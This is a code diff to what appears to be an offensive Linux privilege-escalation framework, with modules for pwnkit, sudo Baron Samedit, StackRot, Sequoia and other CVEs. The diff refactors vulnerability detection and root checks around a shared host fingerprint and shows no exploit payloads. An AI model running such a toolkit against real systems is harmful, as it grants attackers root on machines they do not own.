#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <pwd.h>
|
#include <pwd.h>
|
||||||
@@ -63,32 +67,37 @@ static const struct kernel_range ptrace_traceme_range = {
|
|||||||
|
|
||||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (!kernel_version_current(&v)) {
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
|
* and identical across every module's detect(). */
|
||||||
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
|
if (!v || v->major == 0) {
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[!] ptrace_traceme: host fingerprint missing kernel "
|
||||||
|
"version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug existed since ptrace's inception (early 2.x); anything
|
/* Bug existed since ptrace's inception (early 2.x); anything
|
||||||
* pre-LTS-backport is vulnerable. Anything < 4.4 in our range
|
* pre-LTS-backport is vulnerable. Anything < 4.4 in our range
|
||||||
* model defaults to vulnerable since no entry covers it. */
|
* model defaults to vulnerable since no entry covers it. */
|
||||||
if (v.major < 4 || (v.major == 4 && v.minor < 4)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 4, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
|
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
|
bool patched = kernel_range_is_patched(&ptrace_traceme_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
|
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
|
||||||
"(no user_ns required)\n");
|
"(no user_ns required)\n");
|
||||||
}
|
}
|
||||||
@@ -183,7 +192,10 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
|||||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
/* Consult ctx->host->is_root so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -277,6 +289,27 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct
|
||||||
|
* are Linux-only ABI surface. Stub out so the module still registers and
|
||||||
|
* the top-level `make` completes on macOS/BSD dev boxes. */
|
||||||
|
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] ptrace_traceme: Linux-only module "
|
||||||
|
"(PTRACE_TRACEME cred-escalation) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
static const char ptrace_traceme_auditd[] =
|
static const char ptrace_traceme_auditd[] =
|
||||||
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
|
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
|
||||||
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
|
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
|
||||||
|
|||||||
@@ -23,6 +23,7 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -76,44 +77,58 @@ static bool pkexec_version_vulnerable(const char *version_str)
|
|||||||
|
|
||||||
static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
const char *pkexec_path = find_pkexec();
|
/* Prefer the centrally-fingerprinted polkit version (populated
|
||||||
if (!pkexec_path) {
|
* once at startup by core/host.c via `pkexec --version`). Saves
|
||||||
|
* a popen per scan and lets unit tests construct synthetic
|
||||||
|
* polkit_version values. Fall back to the local popen if
|
||||||
|
* ctx->host is missing the version (degenerate test ctx or a
|
||||||
|
* future refactor that disables userspace probing). */
|
||||||
|
char vp_buf[64] = {0};
|
||||||
|
const char *vp = NULL;
|
||||||
|
|
||||||
|
if (ctx->host && ctx->host->polkit_version[0]) {
|
||||||
|
snprintf(vp_buf, sizeof vp_buf, "%s", ctx->host->polkit_version);
|
||||||
|
vp = vp_buf;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
|
fprintf(stderr, "[i] pwnkit: host fingerprint reports pkexec "
|
||||||
|
"version '%s'\n", vp);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
const char *pkexec_path = find_pkexec();
|
||||||
|
if (!pkexec_path) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
|
||||||
}
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Run `pkexec --version` and parse. We pipe stderr/stdout to a
|
|
||||||
* temp file because popen() can have quoting quirks. */
|
|
||||||
char cmd[512];
|
|
||||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
|
|
||||||
FILE *p = popen(cmd, "r");
|
|
||||||
if (!p) return SKELETONKEY_TEST_ERROR;
|
|
||||||
|
|
||||||
char line[256] = {0};
|
|
||||||
char *r = fgets(line, sizeof line, p);
|
|
||||||
pclose(p);
|
|
||||||
if (!r) {
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
|
fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_TEST_ERROR;
|
char cmd[512];
|
||||||
}
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
|
if (!p) return SKELETONKEY_TEST_ERROR;
|
||||||
char *vp = strstr(line, "version");
|
char line[256] = {0};
|
||||||
if (!vp) return SKELETONKEY_TEST_ERROR;
|
char *r = fgets(line, sizeof line, p);
|
||||||
vp += strlen("version");
|
pclose(p);
|
||||||
while (*vp == ' ' || *vp == '\t') vp++;
|
if (!r) {
|
||||||
|
if (!ctx->json) {
|
||||||
if (!ctx->json) {
|
fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n");
|
||||||
char *nl = strchr(vp, '\n');
|
}
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
|
}
|
||||||
|
/* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */
|
||||||
|
char *vp_mut = strstr(line, "version");
|
||||||
|
if (!vp_mut) return SKELETONKEY_TEST_ERROR;
|
||||||
|
vp_mut += strlen("version");
|
||||||
|
while (*vp_mut == ' ' || *vp_mut == '\t') vp_mut++;
|
||||||
|
char *nl = strchr(vp_mut, '\n');
|
||||||
if (nl) *nl = 0;
|
if (nl) *nl = 0;
|
||||||
fprintf(stderr, "[i] pwnkit: pkexec reports version '%s'\n", vp);
|
snprintf(vp_buf, sizeof vp_buf, "%s", vp_mut);
|
||||||
|
vp = vp_buf;
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[i] pwnkit: pkexec reports version '%s'\n", vp);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
bool vuln = pkexec_version_vulnerable(vp);
|
bool vuln = pkexec_version_vulnerable(vp);
|
||||||
@@ -215,7 +230,10 @@ static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx)
|
|||||||
const char *pkexec = find_pkexec();
|
const char *pkexec = find_pkexec();
|
||||||
if (!pkexec) return SKELETONKEY_PRECOND_FAIL;
|
if (!pkexec) return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
|
||||||
if (geteuid() == 0) {
|
/* Consult ctx->host->is_root so unit tests can construct a
|
||||||
|
* non-root fingerprint regardless of the test process's real euid. */
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -90,6 +90,7 @@
|
|||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
#include "../../core/finisher.h"
|
#include "../../core/finisher.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -166,25 +167,6 @@ static bool write_file(const char *path, const char *s)
|
|||||||
return n == (ssize_t)strlen(s);
|
return n == (ssize_t)strlen(s);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Probe: can this user unshare(CLONE_NEWUSER|CLONE_NEWNS) and get
|
|
||||||
* CAP_SYS_ADMIN-in-userns? We need this for the bind-mount step. The
|
|
||||||
* deeply-nested mkdir works without it, but the trigger needs the
|
|
||||||
* extra mountinfo entry to push the rendered string past INT_MAX. */
|
|
||||||
static int can_unshare_userns_mount(void)
|
|
||||||
{
|
|
||||||
pid_t pid = fork();
|
|
||||||
if (pid < 0) return -1;
|
|
||||||
if (pid == 0) {
|
|
||||||
#ifdef __linux__
|
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
|
||||||
#endif
|
|
||||||
_exit(1);
|
|
||||||
}
|
|
||||||
int status = 0;
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
#ifdef __linux__
|
#ifdef __linux__
|
||||||
static bool enter_userns_root(void)
|
static bool enter_userns_root(void)
|
||||||
{
|
{
|
||||||
@@ -215,31 +197,30 @@ static bool enter_userns_root(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t sequoia_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t sequoia_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!v || v->major == 0) {
|
||||||
fprintf(stderr, "[!] sequoia: could not parse kernel version\n");
|
if (!ctx->json) fprintf(stderr, "[!] sequoia: host fingerprint missing kernel version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* The bug predates every kernel we'd run on, so there's no
|
/* The bug predates every kernel we'd run on, so there's no
|
||||||
* "pre-introduction" cutoff; only patched-or-not matters. */
|
* "pre-introduction" cutoff; only patched-or-not matters. */
|
||||||
bool patched = kernel_range_is_patched(&sequoia_range, &v);
|
bool patched = kernel_range_is_patched(&sequoia_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] sequoia: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] sequoia: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
int userns_ok = can_unshare_userns_mount();
|
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] sequoia: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[i] sequoia: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] sequoia: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
fprintf(stderr, "[i] sequoia: user_ns+mount_ns clone (CAP_SYS_ADMIN gate): %s\n",
|
||||||
userns_ok == 1 ? "ALLOWED" :
|
userns_ok ? "ALLOWED" : "DENIED");
|
||||||
userns_ok == 0 ? "DENIED" : "could not test");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (userns_ok == 0) {
|
if (!userns_ok) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] sequoia: user_ns denied → unprivileged "
|
fprintf(stderr, "[+] sequoia: user_ns denied → unprivileged "
|
||||||
"exploit unreachable via bind-mount path\n");
|
"exploit unreachable via bind-mount path\n");
|
||||||
@@ -408,7 +389,8 @@ static skeletonkey_result_t sequoia_exploit_linux(const struct skeletonkey_ctx *
|
|||||||
}
|
}
|
||||||
|
|
||||||
/* (R1) refuse if already root. */
|
/* (R1) refuse if already root. */
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[i] sequoia: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] sequoia: already root — nothing to escalate\n");
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -72,6 +72,7 @@
|
|||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
#include "../../core/finisher.h"
|
#include "../../core/finisher.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -150,31 +151,31 @@ static bool maple_tree_variant_present(const struct kernel_version *v)
|
|||||||
|
|
||||||
static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!v || v->major == 0) {
|
||||||
fprintf(stderr, "[!] stackrot: could not parse kernel version\n");
|
if (!ctx->json) fprintf(stderr, "[!] stackrot: host fingerprint missing kernel version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels
|
/* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels
|
||||||
* use rbtree-based VMAs and don't have this bug. */
|
* use rbtree-based VMAs and don't have this bug. */
|
||||||
if (v.major < 6 || (v.major == 6 && v.minor < 1)) {
|
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 1, 0)) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n",
|
fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n",
|
||||||
v.release);
|
v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&stackrot_range, &v);
|
bool patched = kernel_range_is_patched(&stackrot_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v.release);
|
fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v.release);
|
fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v->release);
|
||||||
fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; "
|
fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; "
|
||||||
"no exotic preconditions\n");
|
"no exotic preconditions\n");
|
||||||
}
|
}
|
||||||
@@ -631,7 +632,8 @@ static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx
|
|||||||
fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
@@ -641,8 +643,8 @@ static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx
|
|||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v) || !maple_tree_variant_present(&v)) {
|
if (!v || v->major == 0 || !maple_tree_variant_present(v)) {
|
||||||
fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n");
|
fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n");
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -33,6 +33,7 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -150,30 +151,42 @@ static const char *find_sudoedit(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
const char *sudo_path = find_sudo();
|
/* Prefer the centrally-fingerprinted sudo version (populated once
|
||||||
if (!sudo_path) {
|
* at startup by core/host.c) — saves a popen per scan and gives
|
||||||
if (!ctx->json) {
|
* unit tests a clean mock point. Fall back to the local popen if
|
||||||
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
* ctx->host is missing the version (e.g. degenerate test ctx, or
|
||||||
}
|
* a future refactor that disables userspace probing). */
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
|
||||||
}
|
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
|
||||||
}
|
|
||||||
|
|
||||||
char cmd[512];
|
|
||||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
|
||||||
FILE *p = popen(cmd, "r");
|
|
||||||
if (!p) return SKELETONKEY_TEST_ERROR;
|
|
||||||
|
|
||||||
char line[256] = {0};
|
char line[256] = {0};
|
||||||
char *r = fgets(line, sizeof line, p);
|
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||||
pclose(p);
|
snprintf(line, sizeof line, "Sudo version %s",
|
||||||
if (!r) {
|
ctx->host->sudo_version);
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
|
||||||
|
"sudo version %s\n", ctx->host->sudo_version);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
const char *sudo_path = find_sudo();
|
||||||
|
if (!sudo_path) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
||||||
|
}
|
||||||
|
char cmd[512];
|
||||||
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||||
|
FILE *p = popen(cmd, "r");
|
||||||
|
if (!p) return SKELETONKEY_TEST_ERROR;
|
||||||
|
char *r = fgets(line, sizeof line, p);
|
||||||
|
pclose(p);
|
||||||
|
if (!r) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
return SKELETONKEY_TEST_ERROR;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Trim newline for nicer logging. */
|
/* Trim newline for nicer logging. */
|
||||||
@@ -246,7 +259,8 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
|
|||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -29,6 +29,7 @@
|
|||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -209,7 +210,13 @@ static skeletonkey_result_t sudoedit_editor_detect(const struct skeletonkey_ctx
|
|||||||
fprintf(stderr, "[i] sudoedit_editor: sudoedit at %s\n", sudoedit_path);
|
fprintf(stderr, "[i] sudoedit_editor: sudoedit at %s\n", sudoedit_path);
|
||||||
|
|
||||||
char ver[128] = {0};
|
char ver[128] = {0};
|
||||||
if (!get_sudo_version(sudo_path, ver, sizeof ver)) {
|
/* Prefer the centrally-fingerprinted sudo version (populated once
|
||||||
|
* at startup by core/host.c) — saves a popen per scan and gives
|
||||||
|
* unit tests a clean mock point. Fall back to the local popen if
|
||||||
|
* ctx->host is missing the version. */
|
||||||
|
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||||
|
snprintf(ver, sizeof ver, "%s", ctx->host->sudo_version);
|
||||||
|
} else if (!get_sudo_version(sudo_path, ver, sizeof ver)) {
|
||||||
if (!ctx->json)
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[?] sudoedit_editor: could not parse `sudo --version`\n");
|
fprintf(stderr, "[?] sudoedit_editor: could not parse `sudo --version`\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
@@ -331,7 +338,8 @@ static skeletonkey_result_t sudoedit_editor_exploit(const struct skeletonkey_ctx
|
|||||||
fprintf(stderr, "[-] sudoedit_editor: refusing exploit — pass --i-know to authorize\n");
|
fprintf(stderr, "[-] sudoedit_editor: refusing exploit — pass --i-know to authorize\n");
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] sudoedit_editor: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] sudoedit_editor: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -36,6 +36,7 @@
|
|||||||
#include "../../core/kernel_range.h"
|
#include "../../core/kernel_range.h"
|
||||||
#include "../../core/offsets.h"
|
#include "../../core/offsets.h"
|
||||||
#include "../../core/finisher.h"
|
#include "../../core/finisher.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -219,26 +220,26 @@ static char *probe_drm_version_name(const char *cardpath)
|
|||||||
|
|
||||||
static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t vmwgfx_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
struct kernel_version v;
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
if (!kernel_version_current(&v)) {
|
if (!v || v->major == 0) {
|
||||||
fprintf(stderr, "[!] vmwgfx: could not parse kernel version\n");
|
if (!ctx->json) fprintf(stderr, "[!] vmwgfx: host fingerprint missing kernel version — bailing\n");
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&vmwgfx_range, &v);
|
bool patched = kernel_range_is_patched(&vmwgfx_range, v);
|
||||||
if (patched) {
|
if (patched) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] vmwgfx: kernel %s is patched (>= 6.3-rc6 / "
|
fprintf(stderr, "[+] vmwgfx: kernel %s is patched (>= 6.3-rc6 / "
|
||||||
"6.2.10 / 6.1.23)\n", v.release);
|
"6.2.10 / 6.1.23)\n", v->release);
|
||||||
}
|
}
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Pre-vmwgfx kernels (no driver shipped) — extremely unlikely but
|
/* Pre-vmwgfx kernels (no driver shipped) — extremely unlikely but
|
||||||
* report PRECOND_FAIL rather than VULNERABLE. */
|
